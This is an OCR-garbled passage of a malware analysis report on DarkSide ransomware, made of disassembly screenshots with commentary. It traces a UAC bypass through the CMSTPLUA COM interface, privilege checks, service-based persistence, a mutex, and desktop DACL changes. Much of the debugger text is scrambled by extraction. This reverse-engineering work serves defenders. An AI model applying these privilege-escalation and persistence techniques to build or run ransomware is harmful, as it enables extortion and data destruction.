i || 004010F0 E8 0B FF FF FF darkside. 40: XB7TW_0 3 (Empty)  X87TW_1 3 (Empty)
1 e | 004010FS 01 43 08 dword ptr ds:[ebx+8],eax
' o[ oosoiora 50 push eax KB7TW_2 3 (Empty) XB7TW_3 3 (Empty)
: o[ nos010Fs FF 75 0C push dword prr ss:[febp+] ":7“4-2 3 (Empty) ‘:m-?, : (E:“V)
| o (| DO4010FC FF 75 08 sh dword ptr ss:febp+ [ebp- 2BITHLG 3 (EmpTy) HB7TW (EmpTy)
] o[ Do4010FF EB FC FE FF FF k darkside. 401000
i e|[ 00401104 01 43 0A add dword ptr ds:[ebx+a],eax x87Statusword 0000
H e oos01107 50 push eax ME7SW_B O xB7SW.C3 0 XxB875W.C2 O
i ® (00401108 FF 75 OC push dword ptir ss:lebp+c XB7SW_C1 0 XxB7SW.CO 0O xB87SW ES O
| o| nos01108 FF 75 08 sh dword ptr ss:febp+s) [ebp- XB7SW_SF 0 XB7SW_P X87SW_U
! # || oo401108 E8 ED FE FF FF darkside. 401000 w SW 00 ) 87 5
: e ettt B i s s MY ( ;
B b ____ 2
[darkside. 00401000
. Text: 00401049 darkside.exe: $10A5 #4A9 FF;;;FFF

% Dump 4 Ir=ILocals 4 Struct

9% Dump 1

Figure 2

B watch 1
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Address | Hex ASCII i
004103E4 |2E OO 39 00|35 DO 34 D065 00 62 00|39 00 30 00|..9.5.4.e.b.9.0. |Figure 23
004103F4| 30 00 OO OOQ|00 OO OO OO|Q0 OO0 OO OO|00 OO0 OO0 00| 0. v eeeeeansnnns

The value computed above (let’s call it RansomPseudoValue) will be used in the following
constructions:

e Service name: <RansomPseudoValue>

e Service display name: <RansomPseudoValue>

¢ Ransom note: README<RansomPseudoValue>.TXT

o Wallpaper: %PROGRAMDATA%\<RansomPseudoValue>.BMP

e Each encrypted file will have the following name: <Original filename>
<RansomPseudoValue>

e |con file: %PROGRAMDATA%\<RansomPseudoValue>.ico

» Registry key created: HKCR\
<RansomPseudoValue>\Defaulticon=%PROGRAMDATA%\
<RansomPseudoValue>.ico

The binary uses the SHTestTokenMembership API to verify if the user belongs to the
Administrators groups (0x220 = 544 in decimal):

-| 401 .'-! 68 20 02 00 00 push 22 X875W_C1 0 XB7SW_CO 0O XB7SW_ES O

o bodoirsr| A 00 push ) X87SW_SF O XB7SW_P O X57SW_U O

TP e | (0401 FF 15 €O 08 42 00 lcall dword ptr ds:[<&SHTestTokenMemberships] | v x87SW 0 0 x87SW Z 0 x87SWD O

L] = = &
€ > IF e
Fd ptr [OD4208C0 <darkside.&SHTestTokerdember ships]=<shel132. SHTestTokenMenberships> | Default (stdcal) =15 (][] unk

|1 [esp] 00000000
{2: [espr2] oooooz20

.Text:00401F91 darkside.exe: $1F91 #1391 1 3: esp+8] 0040A172 darkside.0040A172
IEH esp+C] DD19FFI4

@Woump1  hoump2 Whoump3  $Woump4  BUDumps M watch1  Ir=llocals Y Struct e i |

Figure 24
We'll split the analysis into 3 different parts depending on the user’s privileges: low level
privileges, administrative privileges, and SYSTEM privileges.

Low Level privileges

The malware attempts a UAC bypass that uses the CMSTPLUA COM interface as described
at https://gist.github.com/apiOcradle/d4aaef39db0d845627d819b2b6b30512. It utilizes
ZwOpenProcessToken to open the access token associated with the process (0x8 =
TOKEN_QUERY - required to query an access token):

402194 50 push eax XB7SW_B 0O XB7SW C3 O xB7SwW.CZ2 O
| 6A 08 push XB7SW_C1 0 XxB875W CO O XB7SW_ES O
64 FF push FFFFFFFF XB7SW_SF 0 XB7SW_P O Xx87SW_U O
FF 15 DO 06 42 00 | €2l dword ptr ds:[<eZwOpenProcessToken>] ¥l xB7SWO O xXE7SWZ O XEFSWD 0
* EEas cans
L« > :
dword ptr [DO4206D0 <dArkside.AZwOpPEnPrOCESSTOKENS]=<ntdll.ZWOPEnPrOCESSTOKEN ‘ie'a“:_i’m ~|[s =)0 unh

2: [esp+s] DO0DOODS

. text: 00402199 darkside.exe:$2199 #1599 3: [esp+8] 0019FF60 ] )
4: [esp+C] DD4082BD <darkside.EntryPoint>

@oump1  EHpump2  UHoump3  @Hoump4  WUoumps M warch1  leellocals S Stuct | M[
laddrace Tuaw TaerTr T . | DD19FF40| 0019FF60
Figure 25

The NtQueryInformationToken function is used to get the group accounts associated with the
token (0x2 = TokenGroups) and it checks if the administrators group can be found in the
TOKEN_GROUPS structure:
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https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512

push eax = = NS/ IW_B S (EMPTY] X/ IW_/ 3 (EMPTY)
push dword ptr ss:[febp-C§

push dword ptr ==: ebp-100 x875tatusword 0000
push 2 xB7SW_B 0 XB7SW.C3 0O x87SWCZ O
sh dword ptr ss:febp-sf . X8TSW_C1 0 X87SW_CO O X87SW_ES O
% d ptr dst[<aNtqQueryInformationToken=] xB7SW_SF 0 xXB7SW_P O x87SW_U 0O
test eax,eax v 7 0 XB7SWD 0O
A - S— B
T
— e e P S - =
‘dword ptr [0042068C <darkside,aNtQueryInformationToken>]=<ntdll.NQueryInformationTokens &“Er#_;% [s & 0] unlocks
2: [espt4] 00000002
SText;004021E5 darkside.exe:; $21E5 #15E5 3: [esp+8] O26ECEDS
4: [esp+C] 000DO15S
P 00000270
WD\M’\‘DI Wowmp2 EWoump3  YHDump4  oumps B watch1 | fe=llocas & Struct
ess | Hex [ascir I .\" QotICrak nacceshe
026ECEDB [IBA 00 00 00[00 G0 00 00[D0 00 00 00[00 00 00 0D |W...eevivuennns ST

Figure 26
There is a call to the Colnitialize routine in order to initialize the COM library on the current
thread, as highlighted in figure 27:

i e P e e X87SW_C1 0 XB7SW.CO O X875W_ES O
FF 15 98 08 42 0O dword ptr ds:[<&Colnitializer] XB7SW_SF 0 X87SW_P O x87Sa_U O
3D 4F 05 00 OO0 cmp eax,54F v XxB7SW O 0 X87SW Z O X87SWD O
ST o e e e S e | RO O T TR

" Defauit (tkal) ~ 1[5 20wk

' 2: [esp+4] D0OOOOODO

13: [esp+B] 00000001
L4: [espsrC] 0019FFTC

I PR
[ - - Sl - - - il - - SR e o B IEEFELEES 00000000

Flgure 27

As presented so far, the binary uses a lot of lower level APIs (from ntdll). It allocates a new
memory area using the ZwAllocateVirtualMemory API (0x3000 = MEM_COMMIT |
MEM_RESERVE and 0x4 = PAGE_READWRITE):

& o4 push 4 XeTTi3 3 (Empiy)  xe7TW3 3 (Empid)
: : = PTy)  X87TW_3 3 (Empty)
68 00 30 00 00 sh 3
o 45 FC fea eax,dword ptr ss: :ebp- 43 XATTW 4 4 (ERBLY:  7IM.E 3 (E0OLY)
50 push eax XETTW_6 3 (EmptTy) X87TW_7 3 (EmpTy)
6A 00 push 0
&8 BC 09 42 00 push darkside.42098C xB7Statusword 0020
&A FF ush FFFFFFFF XG7SW_B O XxB7SW.C3 0 xB7SW.C2 O
FF 15 D8 06 42 0O | dword ptr ns. [a.zm'lmca:gvirtumumrp] XBTSW_C1 DO xB7SW_CO O NB7SW_ES O
83 3D 8C 09 42 00 00 cmp dword ptr ds:[42098C],C XB7TSW_S5F O xB7SW_P 1 x875w_U O
~ OF B4 18 01 00 00 je darkside. 4026AE v EEE&E E EE—SW Z 0 XB7TSWD O
E ey
: 2| pefault steal) |5 13100 uriock
-
prr 0ED8 ar| 2. &ZwAllocat rrualMemory>]l=<nt « ZWA] Memory> D! s 3 =
[esp«-di' B'O:t'z::l'ssc darks1dg 0042098C
. TENT: 00402583 darkside.exe:$2583 #1983 3 esp+8] 00000000
4: lesp+C] OO19FF54

@oump1  @oump2  WHoump3  Woumps  Whoumps @ warht  bellocals ) Stct P orcer | dark
Address | Hex ASCIT | 0013¢F30 e
OO19FEE4 |00 00 00 00|00 00 04 00 D8 €6 6E 02/102 00 00 00| .cccauas N, .... M*Fa‘ DO003000
0019FEF4 ZLEL.IS—’ILI. 00 00 00 f\fllwlm ;‘_y..:_:'.‘,‘._g;.f,.w 0019FF3C  0DO0O004

Figure 28
We have encountered a call to an undocumented API function called
LdrEnumerateLoadedModules:

53 push ebx
68 18 25 40 00 push darkside, 402518 x87Statusword 0020
6A 00 ush 0 XB7SW_BE 0 xB7SW.L3 0 X87SWC2 O
FF 15 FO 06 42 00 gﬂ’l dword ptr ds:i[<aLdreEnumerateiocadedodules>] XBFSW_C1 O xB7SW.CO O xB7SW_ES O
5F pop ed1 XB7TSW_SF O XB87SW_PF 1 XS7SW.U O

- SE pop esi V| X87ISWO O _x87SWZ O XSTSWD O

1< > —
dword ptr [004206F0 *b"]=<ntdll.LdrEnuner atetoadednodil ess Defaut (stdal) *|[s_I2]C] urock

1: [esp
2! eSD+4i 00402518 darkside.00402518
3: [esp+8] 00203000

.text:004026A8 darkside.exe: $26AE #1AAR i :
4: [esp+C] 00408280 <darkside.EntryPoint>

W@oumo!l  @§oump2  @%Dump3  EMDumps  B4Dumps @ wathi  Ieeliocals ) stuct OO19FF38 dar
i s Tagrrr T | oo13FF3c| 00203000 |

Figure 29
The file executes CoGetObject with the object name as Elevation:Administrator!new:

{3ESFC7F9-9A51-4367-9063-A120244FBECT7}, as highlighted below:

14/55



XBTTW_6 3 (Empty) NBTTW_7 3 (EmpTy)

FF 75 08 | push dword ptr ss:Bebp+s)

.l

. 53 | push ebx

. m 45 DC | 1ea eax,dword prr ss:[febp-24] xB7Statusword 0020

. |DUS|‘| eax eax:| X87SW_B O X87SW.C3 0 xB7SW.C2 O
. BD B5 D4 FD FF FF | 1ea eax,dword ptr ss:Qebp-22c) XB7SW_C1 0 xB7SW . CO O xXB7SW_ES O
b 1 ush eax eax:| X87SW_SF 0 XBTSW_P 1 X87SW_U O
. FF 15 AD 08 42 00 Ih dword ptr ds:[<aCoGetobject=] e o

.

esp+4] DD19FF30
esp+8] 026E9100
D019FF&0

S Text: 00402757 darkside.exe:$2757 #1B57

esp+l

WWoump1  Yoump2  WH0ump3  ENoump4  UNDumps @ watchi  (e=1lobify

i i
AAECAL NN LS En AR EENT F7 TE AE|D0T EA CF TAING GF £3 A | Bemun Aok 15r B

Figure 30
Basically, it will relaunch the malware with SYSTEM privileges:

&A 00 push o IR it X87TW_6 3 (Empty) xB7TW_7 3 (Empty)

64 00 push 0

&A 00 push o xB87S5tatusword 0020

56 push esi NETSW_B O xXB7SW.C3 0 XxBFSW.C2 O

FF 33 push dword ptr ds: ebr} [ebx; XB7SW_C1 0 XB7SW_CO O XB7SW_ES O
XETSW_SF 0 xXxB7SW_P 1 x87SWU O

ush dword ptr ss:Qebp-s]
&IM prr ds:[edx+23]

POEEE v | xg7sw 0 0 xB7SW Z 0 XB7SWD 0

esp+4] 026E9108 L'C:\\Users)'

2:
. TexTt: 00402802 darkside.exe:$2802 #1C02 : [esp+B
: [esp+C] 0DO000000

Woump1  @Wpump2  @Woump3  Woumps  Woumps @ watchi  ie=iobl

026E9100 |00 00 00 00|43 00 3A OD|S5C 00 S5 00
DZSESIIUI”S OU 55 00|72 00 73 'JU_SC oo o0

Flgure 31 -

211Me  pEskToR I

Figure 32
Administrative privileges

As in the first case, the binary uses ZwOpenProcessToken to open the access token
associated with the process (0x8 = TOKEN_QUERY - required to query an access token):

XB7S5W_C1 0 XBYSW CO O XxB7SW_ES O
SF 0 x87Sw_P 0 xB7SW_U o

v |[5 2] unlock

push &_
ush FFFFFFFF
|&ﬂ m _ptr dsi[<4ZwopenProcessTokens]

push eax ‘

>
dword ptr [D0420600 <darkside.&ZwOpenProcessTokens]=<ntdll.ZwOpenProcessTokens ~ 1 2: [esptd] 00DO0DDS
3: [esp+8] DO19FF64 d
4: [esp+C] 00408280 <darkside.EntryPoint>
- Text:00401FB0 darkside.exe: $1FBO #1380 5: [esp+10] DO40BZED <darkside. Entr;?o'i nt>
o1 EHoump2  $MDump3  EHDump4  WhDumps @ watchi  frellocss ) St mm"
[ i . |o019FEL0| DOLSFFES.

| srdrace |uav Taerrr

Figure 33
The NtQueryInformationToken API is utilized to retrieve the token’s user account (0x1

TokenUser):

e e e e e ey e

50 push eax = s

6A 2C push 2¢ xB7Statusword 0000

8D B5 CO FE FF FF lea eax,dword ptr ss:jfebp-1s0) XB87SW_B 0O XxB7TSW.C3 0 x87SW.C2 O

50 push c XB7SW_C1 0 XB7SW_CO 0O XB7SW_ES 0

64 01 pus XBTSW_SF 0 XB7SW_P 0 xB7SW.U O

FF 75 FC ush :lncrd ptr ss:lebp-4§ Ceme

FF 15 BC 06 42 00 €21l aword ptr ds:[<aNtqueryInformationTokensJ 1 v - =

SR = » |5 #]J unloch

esp+4] 00000001
esp+8] OO1SFE28

dword ptr [D04206BC <darkside.&NTQueryInformationTokens]=<ntdll.NtQueryInformationTokens

es| C
+ TEXT: 00401FD3 darkn de exe: $1FD3 #1303 esp+10] 0019FES4

H!tD-mpL @oup?  Woump3  Poump4 WDumps @w;«:ﬁl |eelLocals 4 Struct

DDlSFEC‘I En ﬁ 05 ‘Z|OD D ES D3|FE FF FF FF 21 EE u gg Fj I‘ pZupyprSy

Figure 34
The malicious process uses LookupAccountSidW to obtain the name of the account

associated with the SID provided as the input, as shown in figure 35:
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| push eax

)(E?'T\| o 3 1Empty)

XBFTTW_1 3 (Empty)

L TEXT:0040201A darkside.exe: $201A #1414

: [esp+10] OD19FESS

- amke ;5:,,‘*:;‘““‘"”’ ptr ss:llebp-108 XB7TW_2 3 (Empty) x87TW_3 3 (Empty)
E EF EF 5 . T i xB7TW_4 3 (Empty) XBTTW_5 3 (Empty)
o pmaRE e Ipﬁ‘s‘h”" 2t pir: 1 ficbp= 2108 X87TW_6 3 (Empty) X87TW_7 3 (EmpTy)
BD 45 F4 1ea eax,dword prr ss:febp-cj
50 push eax x875tatusword 0000
BD B85 70 FF FF FF lea eax,dword ptr ss:[febp-20] XBTSW_B O xB7SW.C3 0 xB7TSW CZ2 O
50 | push eax X87SW_C1 0 X87SW._CO O XB7SW_ES O
FF 36 Dusn Mra ptr ds: [esi] XBTSW_SF O x87SW_P 0O xB7SW_U [i]
&A DO N P -~
FF 15 E4 O7 42 00 Iu‘ll ma _prr de:[<slookupAccountsidws] | e
_ 1 ' et e -5 El0u
dword ptr [D04207E4 <darkside.4&LookupAccountsidw>]=<advapi32.L0o0KUPACCOUNTS dw> 2: [,s:ﬂ] 0019FE30
' 3: [esp+8] O019FEDS
4: [esp+C] DO19FFSC
5

A 40 gC 02
DOLIFEES | JU SD G0 EZ 20 00 00 00

Figure 35

"Cl DZ 00 JU L‘fJ JJ C'I. rJJ|D»'I

ﬂihDu'nDI Woump2 @HMoump3 WWoupd WWoumps @ wahi  irellocals # struct
Atiress Thex | ascIz I

omsr-Ecs 00 70 E9 D3| FE FF FF FF|24 EE 19 00|00 FA 01 77| perynyy

0019FEDS M_g;_q_ 00 00 00 00| 1.

There are 3 different comparison operations that compare the domain name (the name of the
computer in our case) with “NT AUTHORITY”, “AUTORITE NT” and “NT-AUTORITAT”
(basically, it tries to determine if the user account is SYSTEM or not):

Ltext:0848203C call _wcsicmp

Jtext: 0482842 add esp, 8
Tdextrepda2eds test eax, eax

Ltext: 884820847 jnz short loc_482858

ol ) =
Jextiesdazase
Jtext: 004682058 loc_482856: 5 iE
Ltext: 88482858 push edi
Jtext: 884682851 push @ ; Flags
Ltext:884820853 push HeapHandle ; HeapHandle
Jtext:884682859 call RtlFreeHeap
text:8848285F push offset unk_4BEB3F
text:pe4p2064 call Alloc jpecrypt
Ltext 98482869 mov edi, eax
Ltext:88482068 push edi 3 5tr2
Jtext:8848286C lea eax, [ebp+strl]
.text:08482072 push eax ; 5trl
Ltext: 88482873 call _wcsicmp
Jtext: 88482879 add esp, 8
Sdextieed4e287C test eax, eax
Jtext:8848287E jnz short loc_482887
1 Y
il s =]
Jextieeda2esd
Ltext:00482087 loc_4820887: B
Jtext: 88482887 push edi
Jtext: 88482888 push a8 ; Flags
Ltext: 88482884 push HeapHandle ; HeapHandle
Jtext:8e462098 call RtlFreeHeap
Ltext:88482096 push offset unk_48EBSE
text: 884682898 call Alloc_Decrypt
Ltext:9e482848 mov edi, eax
Ltext:B8482042 push edi ; 5tr2
Jtext: 80482883 lea eax, [ebp+Strl]
Ltext: 88482849 push eax 3 5trl
Jtext:eeda2es8 call _wcsicmp
Jtext: 8848268808 add esp, 8
dextieeda2eB3 test eax, eax
text: 88482885 jnz short loc_4828BC

Figure 36
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The OpenSCManagerW routine is utilized to establish a connection to the service control
manager:

ol DD402965
00402967 6A 00

o 00402960 68 3F 00 OF 0O
6a 00

push FOO3F AT XB7SW_C1 0 X87SW.CO O X87SW_ES 0O
push 0 XB7SW_SF 0 XB7SW_P 0 XxB7SW_U o
- Text: 00402969 darkside.exe:$2969 21D69

1 Soump2  WDump3  YDump4 Y Dumps

Figure 37

The process tries to open a service called <RansomPseudoValue> (which doesn’t exist at
this time):

00402978 &8 FF 01 OF 00
00402970 FF 75 OB
00402980 FF 75 FC

X875W_C1 0 xB7SW_CO 0 xB87SW_ES 0O
XB7SW_SF 0 XxB7SW_P 0 xXB7SW_U o

~ s 510] oo

'004103E4 L. 95420900
01FF

-text: 00402983 darkside.exe: $2983 #1D83 Al Dglz)gcngggn

@Woump1  @oump2 W4Dump3  EWDump4  UNDumps @ watch1  [elloals P St

Figure 38
Because the service doesn’t exist, it will be created by the malware for persistence purposes,
as shown in the following pictures:

push o

push 0 xB7TagWord FFFF

guu:: g X8TTW_0 3 (Empty) x87TW._1 3 (Empry)

o 03¢ ::?nu H E:-nty; x:?w_s : Em\:ﬂ
f vy x

ﬁ:n gunrd: prrdi: (RN X87TW_6 3 (EmPTy) X87TW_7 3 (Empty)

x875tratusword 0000

XB7SW_B O xBFSW C3 0 xB7SWCZ O
XB7SW.C1 0 x87SW_CO 0 x875wW_ES O
XB7SW_SF 0 XB7SW_P 0 X87SW_U o

~|[5 (2] ] unlock

004103E4 L".954eb900"
004103E4 L".954eb300"
DODOFDLIFF

0] 00000010

Poumo4  WWoumps

Figure 39
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954eb900 Properties (Local Cormputer) >
General |ogOn Recovery Dependencies

Service name: 554eb500|
[hzplay name: 554eb500

Drescrption:
Path to executable:
"C:Users IR Deskiop' darkside exe”

Septes NS Figure 40

Serice status:  Stopped

Start Stop Pause Fesume
You can specify the start parameters that apply when vou start the sendice
from here.
Start parameters: |

Cancel | | Apply

The newly created service is started, and the binary launches itself as a service:

6A 00 push | X87SW_C1 0 XB7SW.CO O XB7SW_ES 0O
6A 00 push ¢ | xB75W_SF 0 xB7SW_P © xB7SW_U O
FF 75 FB push dword ptr :::Eebp i | f s - e —— -
FF 15 14 08 42 00 | €811 dword ptr s [<4Startservicews] v | —— —— =
PR 1408 g ey e 5 | Defaut (stdcal) + (5 [2]] uniock
| 1: [esp] 0263800 :
dword ptr [00420814 <darkside.&Startservicew>]=<advapi32.startServicen> 2: =esg.'.‘] 00000000
| 32 jesursi 00000000
| 4: Les| 026C 4800
L TexXT: 00402922 darkside.exe:$2922 #1022 |5: f{esma] 026CE0E8
= = = = ® = R
P40ump!l EYDump2 @NDump3 ESDumpd4 BN Dump5 Watch1  Iv-llocals = ' Struct DO1S9FF54 | 00000000
[Wrdrare [uaw Taerrr T 1 . | DD19FFSE| DDD00000

SYSTEM privileges

The malicious binary can run with no arguments, one, two, or three arguments (these cases
will be described later on). As we can see below, it uses CommandLineToArgv\W to obtain
pointers to the command line arguments (argv[0] is the executable name) + the number of
arguments:
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Ltext:Bedenl32 hdll EDmmaHdLineTDﬂrgww

Ltext: 88488138 mov ehx, eax
Lfext:esdesl3s test ebx, ebx
Jtext:eederlzC jz short loc_48A16D
, -
Y
bl s 5]
Ltext:B848A13E cmp [ebptvar_8], 4
Ltext:8a484142 jnz short loc_48A16D
|
[l s 55
text: 88488144 mov eax, [ebx+d]
.text:8e484147 cmp dword ptr [eax], 77882Dh
Ltext:ea4es14l jnz short loc_48A16D0
Hl
Ll s =]
text:8848814F cmp dword ptr [eaxt+4], 72886Fh
Ltext:@a48A156 jnz short loc 48A16D Figure 42
J |
=
Ltext: 80484158 cmp dword ptr [eax+8], 'k’
Ltext:8848A15C jnz short loc_48A16D
S
Ll s 55

Ltext:esdanleD

text:eedeslel loc 48A160:
Ltext:ee48sled call sub_481F8A
Tdextieedenlv2 test eax, eax

Jtext:eadaslT4 jnz short loc_ 484192
[l e [
Jtext:eed8a176 call sub_ 481744
Ltext:ee48A17E cmp eax, 3Ch ; "<’

The WTSQueryUserToken APl is utilized to obtain the primary access token of the logged-on
user specified by session 1:

push ecx

— e e
50 |nusn eax
| eamy dword ptr ds:[<swTSOueryuserTokens]

t (stdcall)

1t [esp] 00000001
2 esp«--i] O019FF 64
3: [esp+B] D0D40B2BD <darkside.EntryPoint>

4: [esp+C] 0040B28D <darkside.EntryPoint>

||5: [esp+10] 00000000

o 00000001 |
|ﬂiu0umul @oump2 @oump3  @WDumpd  WDumps BB warchi  Iellocals Y Stuct m|

Figure 43
OpenWindowStationW is used to open the “Winsta0” windows station (the interactive window
station), 0x40000 — WRITE_DAC — modify the DACL in the security descriptor for the object:

51
FF 15 34 09 42 00

~ T 10w

dword ptr [D0420934 <darkside.a&wTSQueryUser Token>]=<wEsapi32.wTSQuerylUser Token>

. TEXT:004023A3 darkside.exe: $23A3 #17A3
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€8 00 DO 04 00 push 4000 o s XB7SW_B O xB87SW_C3 0 xBTSW.CZ O
6A 00 push XB7SW_C1 0 x87SW_CO 0 xB7SW_ES O
8D 45 E4 lea ean dword ptr ss:lfebp-icl XB7SW_SF D X87SW.P O x&7SW.U 0
50 push e 2ANIL”  fmmms s =t :
FF 15 4C 08 42 00 call dnuru ptr dsi[<s0penwindowstationw:] v P —— =
e 5 | Default (stdcal) w |[s |+ unioa
- = [1: [esp] 0019FF4C L"winstao™
dword ptr [0042084C <darkside.&OpenwindowStationws]=<user32.0penwindowsStationw: 2 esp+4] DDOGDOOO
Eesuva 00040000 ;
es| 0040B28D <darkside.EntryPoint>
-Text: 00403408 darkside.exe: $34D5 #2805 ; res:-:_cw] 00408280 ‘d!rkside_int¥ypnint>

Do o e ot S S e Fee  [ESEGEERIS
Figure 44
The DACL (discretionary access control list) of the “Winsta0” windows station is modified by

calling the NtSetSecurityObject routine with the Ox4 = DACL_SECURITY_INFORMATION
parameter:

53 push ebx XBTSW.C1 0 xB7SW.CO O XB7SW_ES O
6A 04 push 4 NBTSW_SF O XB8TSW_P 0 HETSW_| U [+]
FF 75 F8 pu:;\ dword ptr ss:febp-s) 1 e .
FF— FF 15 €C 06 42 00 €Tl dword ptr de:[<aNtserSecurityDbjects v -
LT T = Del'al.lt(shdal} - [5 B0 uik
dword ptr [004206CC <darkside.&NTSerSecurityobject>]=<ntdl].NTSetSecurityobject> 2: 25:“ 00000004
3: EESDTS‘ O019FEDS - .
2 4: [esp+C] 0040B2BD <darkside.EntryPoints
. TEXT1D04034EF darkside.exe: $34EF #28EF s: [esp+10] 0040B28D <darkside.EntryPoint>
D00002C4

Woump1  @MDump2  WDump3  WhDump4  @EDumps BB watch1  [ellocals 5 Struct

Srdrace | uaw Tasrrr i

Figure 45

There is a call to OpenDesktopW that is utilized to open the “Default” desktop object with the
argument 0x40081 = WRITE_DAC | DESKTOP_WRITEOBJECTS |
DESKTOP_READOBJECTS, as follows:

OOLSFERC | 00000004
1. | 0019FECD | DOLIFEDE

| x875tatusword 0000

65 81 00 04 00 push 4 1

6A 00 push | x87SW_B 0 xB7SW.C3 0 xB7SW C2 O

6A 00 push | x875W_C1 0 xB7SW.CO O XB7SW_ES O

8D 45 D4 lea eax,dword ptr ss:[Jebp-2c] | xXB7SW_SF 0 xB7SW_P 0 xB7SW_U (1]

50 push eax L el e T

E— FF 15 54 08 42 00 | €8l dword ptr ds3[<soperDesktopw>] vt —
S , | Defaut (stdeal) - 3] unlock
|ll €spl DD19FF3C L ault

|2: [esp+4] 00000000
|3: [esp+8] 00000000
| a: [esp+C] 0DO4DOBL
|5: [espri0] 0040828D <darkside.EntryPoint>

Wom! | @oumw2 | @omp:  Woum4 | @oums | @warh: | ielioaks | P snct EIFEREEE] 001577 5C L DefauTs
ml”ixw

paeEEE e e ] | ~| 3o13rEco| 00040081
Figure 46
The DACL of the “Default” desktop object is modified by calling the

NtSetSecurityObject function with the 0x4 = DACL_SECURITY_INFORMATION parameter:

rmrd 91':'?' [00420854 <darkside.&0penDesktopw>]=<user3z2.0penDesktopw=

text:00403508 dark: da.rksn:le exe: BSCIB #2308

53 push ebx XB7SW_C1 0 xB7SW_.CO O xB7SW_ES O
6A 04 push 4 XE?S“ SF 0 XEBTSn_| P 0 xBTSW_U o
FF 75 F4 push dword ptr ss:QBebp-Cj e cem e R
T FF 15 €C 06 42 00 ﬂl‘l‘l Mrd m:r gz <aNtsetSecurityobject-JlNNEN ¢ ——0D0D0D0D0D0D0D2DDm—mm—mm-——————

" | Defaut (stdeal) + 5 1#]J unlock

1 [esp] €0
2: [esp+4] 00000004

: Eesp +8] OODLIFEDS
L

dword ptr [004206CC <darkside.aNtSerSecurityObjects]=<ntdll.NtSetSecurityObject>

: [esp+C] OD4DB2BD <darkside.EntryPoint>
: [esp+10] DO40B2BD <darkside.EntryPoint>

<Text:0040351F darkside.exe:$351F #291F

Woump1  @gowmp?  @Woump3  @Houmps  @Woumps @ warhi  Iellecals ) stue
S e e e e

Figure 47

The malware creates a mutex called “Global\d787658f1cc4202b8a15e05dd0323fde” (this
value has been computed before this operation and represents a custom “hash” value of the
malware), which makes sure that there is only one instance of the ransomware running at a

time (if the mutex already exists, then the malware quits):

FF 75 F4 pusn dword ptr ss:gebp-cj Lebp-=C XxB7SW_C1 0 XB7SW.CO O xB7SW_ES 0O
! 6A 0O pus XB7SW_SF 0 XE8TSW_P 0 xB87SW_U o
| 004 68 00 00 10 0O push 10000 e e
T [i; FF 15 80 07 42 00 ﬂﬂ- dnurﬁ prr ds tmpemute:ws] w [ == — =
' | SRR ke , | Defauit (stdcal) + [5 2] unlock

3: [esp+8] D2656260 L"Global \\4787658F1cc4202b8a
4: [esp+rC] 02656260 L"Global\\4787658f1cc4202b8a
5:

. TEXT: 00404300 darkside.exe: $A300 #9700 Lesp+10] 00000001

Whoump1  @pump2  @Hoump3  @HDumps  EMoumps @ watchi  bellocals P st
b s T

Figure 48

D015FF68 nnoonoool
| .. |on13FFec | 02656260 | L"Global\\4787658f e
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FF 75 F4 push dword ptr ss:febp-c XBTSW_C1 0 XB7SW.CO O XB7SW_ES O
64 01 push 1 XB7SW_SF O XB7SW_P 0 xB7SW_U O

6A 00

‘ o

] 1
esp+8] 02656260 L"Global'\,4787658F1cc4202bsa
esprC] 02656260 L"Global\\4787658F1cc4202bsa

-TEXT: 00404330 darkside.exe: $A330 #9730

iﬁunul Woump2  $4Dump3  $HDump4

% Dump 5

@8 watch 1

Flgure 49

The ransomware forces the system not to enter sleep mode and not to turn off the display
while the process is running, one of the parameters being 0x80000001 = ES_CONTINUOUS
| ES_SYSTEM_REQUIRED:

00409F95 0 XB7SWU O
00409F36

push e:
push sogauum 5 mmm i _a_ame

otk tkan <5 FOuee

SRR
&8 01 00 DO BO

.TEXT:00409F98 darkside. exe:$9F98 #9398 ::mmmiﬂ darkside, 00404349
$oump1  @loump2  WMDuwmp3  @Hoump4  Whoumps @ watch1 | be-llocils 4 Struct

Figure 50

The file changes the privilege to SE_PRIVILEGE_ENABLED in order to enable the token’s
privileges (note the TOKEN_PRIVILEGES structure) by a function call to
ZwAdjustPrivilegesToken:

004022C0 push 0
push 0 xB7StatusWord 0000
C 2 push o XB7SW_B 0 XB7TSW.L3 O x87SeC2 O
push dword ptr ss:[ebp-c§ XB7SW_C1 0 xB7SWCO O xB7SW_ES O
L push 0 K!?S\' F ﬂ KSTW 0 xX87SW_U o
004022CE sh
E F 4 06 42 00 dword | ustFr‘lvihsguTok [ =
eSP"‘Ci 00000000

.text:004022CE darkside.exe: $22CE #16CE

% bump 4

i 00 00 00

(026564403
02656450 e .
O0159FF34 | 00408280

00
03
ic
oo
03
22

= return to darkside.0040A34E from darkside.0o4(
\

$E5888888888888388838)
-

BE2228838888888888888
B838888882888888888888

00 00 00
00 00 00 00 00 00 00|.
00 00 00 03 00 00 00|.
0019FF 38 | DD40B2BD
00 00 o0 0A 00 00 00 . O019FF3C | 00000000
gg % % gg gg gg gg 3 O019FF 40 | SAC41E5C
. O019FF44 | 02654920
00 00 00 00[OE 00 00 00|. 0019FF48
00 00 00 00 00 00 00... 0019FF4C
00 00 00 03 00 00 00|. 0019FF50
00 00 oo . . 5
90 00 o T O019FF54
¥ D019FFS8 return to darkside.00409FA6 From darkside.oo4
03 00 00 00 03 00 00 00|. D019FF5C C
00 00 00 16 00 00 00 . D019FF60
00 00 00 L
00 00 00
00 00 00
00 00 00
00 00 00
00 00 00

Figure 51
The CreateThread APl is used to create a new thread, as described in the next figure:

00403F AF |

uB7STATtusword 0000
XBTSW_E 0 XB7SW.C3 0 XBTSWC2 0O
XB7SW.C1 0 xB7SW.CO O x87SW_ES 0O
MBTSW_SF 0 XBTSW_F 0 xBTSW_U o

push 0
push darkside.409548
push O
push o

]
(1]
00
AB 95 40 00
00
00

00309FBC

.text:D0409FBE darkside.exe: §3FBE #93BE

@Wowmp1  §Moump2 EYoump3  WDump4 WM DumpS

Flgure 52
A list of valid drives on the system is extracted using the GetLogicalDriveStringsW routine:

X87SW_SF 0 XB7SW.P 0 XB7SWU O
[<aGetLogicalDrivestri

" 0019FD4C
0040B2BD <darkside.EntryPoint>
00408280 <darkside.EntryPoint>

50
68 04 D1 00 00

DD4040F3
004040F4

- TEXT:004040F9 darkside.exe:$40F9 #34F9

|l$nunp1 @oump2 Eoump3  WHoumps  WHMDumps @ watch:  iellocals P stuct

Figure 53

21/55



The ransomware is looking for DRIVE_REMOVABLE (0x2) and DRIVE_FIXED (0x3) drives,

as highlighted in figure 54:

